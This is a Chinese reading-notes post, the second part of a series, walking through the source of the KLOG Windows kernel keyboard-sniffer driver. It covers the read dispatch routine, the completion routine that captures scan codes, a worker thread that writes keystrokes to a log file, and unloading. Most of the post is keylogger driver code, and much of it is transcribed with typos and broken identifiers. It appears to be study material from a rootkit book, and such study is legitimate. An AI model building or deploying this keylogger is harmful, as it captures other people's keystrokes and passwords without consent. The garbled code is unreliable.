读书笔记_键盘嗅探器(2)
为处理READ请求而调用的例程是DispatchRead。下面具体分析该函数:
NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)
{
当一个READ请求到达键盘控制器时,就调用该函数。这时IRP中并没有可用的数据。相反我们希望在捕获了击键动作之后查看IRP——当IRP正在沿着设备链向上传输时。
关于IRP已经完成的唯一通知方式是设置完成例程,如果没有设置完成例程,则当IRP沿着设备链上返回是会忽略我们的存在。
将IRP传递给链中次底层设备时,需要设置IRP堆栈指针(stack pointer).术语堆栈在此处容易产生误解:每个设备只是在每个IRP中有一段私有的可用内存。这些私有区域以指定顺序排列。通过IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation调用来获取这些私有区域的指针,在传递IRP之前,一个“当前”指针必须指向低层驱动程序的私有区域,因此,在调用IoCallDriver之前要调用IoCopyCurrentIrpStackLocationToNext;
// Copy parameters down to next level in the stack
// for the driver below us
IoCopyCurrentIrpStackLocationToNext(pIrp);
// Note that the completion routine is named “OnReadCompleion”:
// Set the completion callback
IoSetCompletionRoutine(pIrp,
OnReadCompletion,
pDeviceObject,
TRUE,
TRUE,
TRUE);
将挂起的IRP数目记录下来,以便等处理完成后再卸载驱动程序
// Track the # of pending IRPs
numPendingIrps++;
最后通过IoCallDriver将IRP传递给链中的次底层设备,记住指向低层次设备的指针存储在Device_Extension中的pKeyboardDevice中。
// Pass the IRP on down to \the driver underneath us
Return IoCallDriver(
((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)
->pKeyboardDevice, pIrp);
}// end DispatchRead
现在可以看到,每个READIRP在处理之后可用于OnReadCompletion例程中。进一步对比加以分析:
NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,
INPRP pIrp, IN PVOID Context)
{
// Get the device extension– we’ll need to use it later
PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
检查IRP状态,它可以当作返回码或错误码,该值为STATUS_SUCCESS表明IRP已成功完成并且应该记录了击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构的数组。IoStatus.Information成员包含了该数组的长度:
If(pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);
KEYBOARD_INPUT_DATA结构定义如下:
Typedef struct _KEYBOARD_INPUT_DATA{
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
然后示例程序循环遍历所有的数组成员,从每个成员中获取击键动作:
For(int I = 0; I < numkeys; i++)
{
DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);
注意会收到两个事件:键按下和键释放。对于简单的击键监视器来说,只需关注其中一个事件,KEY_MAKE是一个重要标志。
If(keys[i].Flags == KEY_MAKE)
DbgPrint(“%s\n”, “Key Down”)l
上述完成例程在IRQL级别DISPATCH_LEVEL上执行,这意味着它不允许文件操作,为了避开这个限制,示例程序通过一个共享链表将击键动作传递给worker线程。对该链表的访问必须采用关键段来同步。内核实施以下规则:一次只能有一个线程执行关键段。此处不能使用延迟过程调用(Deferred Procedure Call, DPC),因此DPC也运行在DISPATCH_LEVEL级别上。
驱动程序分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入链表中。因为运行在DISPATCH级别上,所以只能从NonPagedPool中分配内存。
KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));
// Fill in kData structure with info from IRP
kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags=(char)keys[i].Flgas;
// Add the scan code to the linked list
// queue so our worker thread
// can write it out to a file
DbgPrint(“Adding IRP to work queue…”);
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
// The semaphore is incremented to indicate that some data needs tobe processed
// Increment the semaphore by 1 – no WaitForXXX after this call
KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,
0,
1,
FALSE);
}
}
If(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
示例完成了对IRP的处理,将IRP计数递减
numPendingIrps- -;
return pIrp->IoStatus.Status;
}
此时在链表中已保存了一个击键动作,它用于worker线程,下面介绍worker线程的例程:
VOID ThreadKeyLogger ( IN PVOID pContext)
{
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list
KLOG进入一个处理循环。代码通过KeWaitForSingleObject等待信号量。若信号量递增,则处理循环继续运行
While(true)
{
// Wait for data to becomeavailable in the queue
KeWaitForSingleObject(
&pKeyboardDeviceExtension->semQueue,
Executive,
KernelMode,
FALSE,
NULL);
从链表中安全删除了最高端项。注意关键段的用法:
pListEntry = ExInterlockedRemoveHeadList(
&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceEntension->lockQueue);
内核线程不能从外部终止,它们只能终止自身。KLOG检查一个标志以判断是否应该终止worker线程。该操作应该只放生在卸载KLOG时。
If(pKeyboardDeviceExtension->bThreadTerminate == true)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
必须使用CONTAINING_RECORD宏来获得指向pListEntry结构中数据的指针:
kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);
KLOG获取扫描码并将其转换成键盘码。这通过ConvertScanCodeToKeyCode工具函数完成,该函数只识别美国英语键盘布局,尽管它很容易替换为适用于其他键盘布局的代码。
// Convert the scan code to a key code
Char keys[3] = {0};
ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);
// Make sure the key has returned a valid code
// before writing it to the file
If (keys != 0)
{
若文件句柄是有效的,则使用ZwWriteFile将键盘盘码写入日志:
// Write the data out to a file
If(pKeyboardDeviceExtension->hLogFile != NULL)
{
IO_STATUS_BLOCK io_status;
NTSTATUS status =ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
Strlen(keys),
NULL,
NULL);
If(status != STATUS_SUCCESS)
DbgPrint(“Writing scancode to file…\n”);
Else
DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);
}// end if
}// end if
}// end while
Return;
} // end ThreadLogKeyboard
以上是KLOG的主要操作。下面分析Unload例程
VOID Unload ( IN PDRIVER_OBJECT pDriverObject)
{
// Get the pointer to thedevice extension
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
DbgPrint(“Driver Unload Called… \n”);
驱动程序必须使用IoDetachDevice函数取下分层设备的钩子:
// Detach from the device underneath that we’re hooked to.
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
DbgPrint(“Keyboard hook detached from device…\n”);
下面使用了一个定时器,KLOG进入一个短循环,直到所有IRP完成处理:
// Create a timer
KTIMER kTimer;
LARGE_INTEGER timeout;
Timeout.QuadPart = 1000000;
KeInitializeTimer(&kTimer);
在某个IRP正在等待击键动作,则直到按下一个键后卸载才能完成:
While(numPendingIrps > 0)
{
// Set the timer
KeSetTimer(&kTimer, timeout,NULL);
KeWaitForSingleObject(
&kTimer,
Executive,
KernelMode,
False,
NULL);
}
此时KLOG指示worker线程应该终止:
// Set our key logger worker thread to terminate
pKeyboardDeviceExtension->bThreadTerminate = true;
// Wake up the thread if its blocked & WaitForXXX after thiscall
KeReleaseSemaphore(
&pKeyboardDeviceExtension->semQueue,
0,
1,
TRUE);
KLOG使用线程指针调用KeWaitForSingleObject, 一直等候到该线程已终止:
// Wait until the worker thread terminates
DbgPrint(“Waiting for key logger thread to terminate…\n”);
KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,
Executive,
KernelMode,
False,NULL);
DbgPrint(“Key logger thread terminated\n”);
最后关闭日志文件:
// close the log file
ZwClose(pKeyboardDeviceExtension->hLogFile);
还执行一些适当的常规清理动作:
// Delete the device
IoDeleteDevice(pDriverObject->DeviceObject);
DbgPrint(“Tagged IRPs dead … Terminating ...\n”);
Return;
}
键盘嗅探器结束。
读书笔记_键盘嗅探器(2)相关推荐
- 马丁福勒《UML精粹》读书笔记_第四章
第四章 顺序图 顺序图是一个use case的一种实现.当考察单个use case内部若干对象的行为时,就应使用顺序图. 可参考"高焕堂<嵌入式UML设计>读书笔记_第五章&qu ...
- 马丁福勒《UML精粹》读书笔记_第一章
马丁福勒<UML精粹>读书笔记_第一章 UML的使用场景 必须遵从UML规则吗? 在上述草图.蓝图的场景下,不必过多强调遵从UML规则.因为我们使用UML的目的是为了一个好的设计,所以应将 ...
- 读书笔记_中国期货市场量化交易(李尉)01
读书笔记,李尉的作品,看豆瓣还行就买来看看 第一章 期货基本策略概要 国内平台:开发,回测,模拟,实盘均在一个平台实现较为方便,并且费用较低. 连续合约:跳空问题 指数合约:无法直接交易 淘宝策略:低 ...
- 5000字 大数据时代读书笔记_大数据时代读书笔记
大数据时代读书笔记 [篇一:大数据时代读书笔记] 大数据时代 -- 读书笔记 一.引论 1. 大数据时代的三个转变: 1. 可以分析更多的数据,处理和某个现象相关的所有数据,而不是 随机采样 2. 不 ...
- 5000字 大数据时代读书笔记_《大数据时代读书笔记》
大数据时代读书笔记 本书在讲些什么? <大数据时代>的一大贡献在于大数据方兴未艾.众说纷纭的时刻,进一步 阐述和厘清了大数据的基本概念和特点,这对许多以为大数据就是"数据大&qu ...
- 读书笔记_打开量化投资的黑箱01
大约4年前(2015年左右),看过一些量化的入门书籍,那时是完全小白的,一窍不通的(当然,现在也不算牛,只能算比当时有进步吧).前阵子开发策略,开发的有点小心累,之前自以为很好的策略or思路,实践下来 ...
- 读书笔记_《纳瓦尔宝典》_精华部分书摘
目录 简介 书摘 退休的定义 运气分四种 商业社交 判断力 关于痛苦 偏见和习惯 选择 迎难而上 对幸福的理解 欲望与幸福 应该 幸福源于好习惯 做自己 冥想+精神力量 WIM-HOF呼吸法 选择自我 ...
- 读书笔记_代码大全_第14章_组织直线型代码_第15章_使用条件语句
组织直线型代码 + 使用条件语句 希望我的读书笔试能带你翻过18页的书 http://www.cnblogs.com/jerry19880126/ <代码大全>第14章和第15章的内容比较 ...
- python基础教程读书笔记_《Python基础教程》读书笔记10
模块 使用 dir dir 函数可以将对象的所有属性(以及模块的所有函数.类.变量等)列出. >>> import copy >>> dir(copy) ['Err ...
最新文章
- 别让低效努力,毁了你
- C++中无符号数与有符号数的转换
- 【LeetCode从零单排】No88.Merge Sorted Array
- TCP/IP 中的二进制反码求和算法
- Linux bash总结(一) 基础部分(适合初学者学习和非初学者参考)
- 早鸟票只剩3天丨为何一定要参加今年的CNCC?
- (数据挖掘-入门-2)相似度衡量的方法
- 实战CSS:小米商城静态实现
- 【LeetCode】【数组】题号:*304,二维区域和检索
- 程序员代码面试指南 IT名企算法与数据结构题目最优解
- 代码整洁之道 python_Python代码整洁之道:编写优雅的代码
- Unity世界坐标转换屏幕坐标(测试)
- ruby通过ftp下载文件
- 丢掉Axure,大厂PM最通用的原型设计工具
- 关于mscorsvw.exe
- Retouch4me 套件 -- 人像自动精修插件
- 音乐治疗在计算机的应用,音乐治疗中虚拟现实(VR)技术的应用
- 微信小程序如何创建云开发根目录
- zkeys阿帕云对接易支付插件,支持zkeys阿帕云最新版(亲测可用)
- Oracle-Materialized View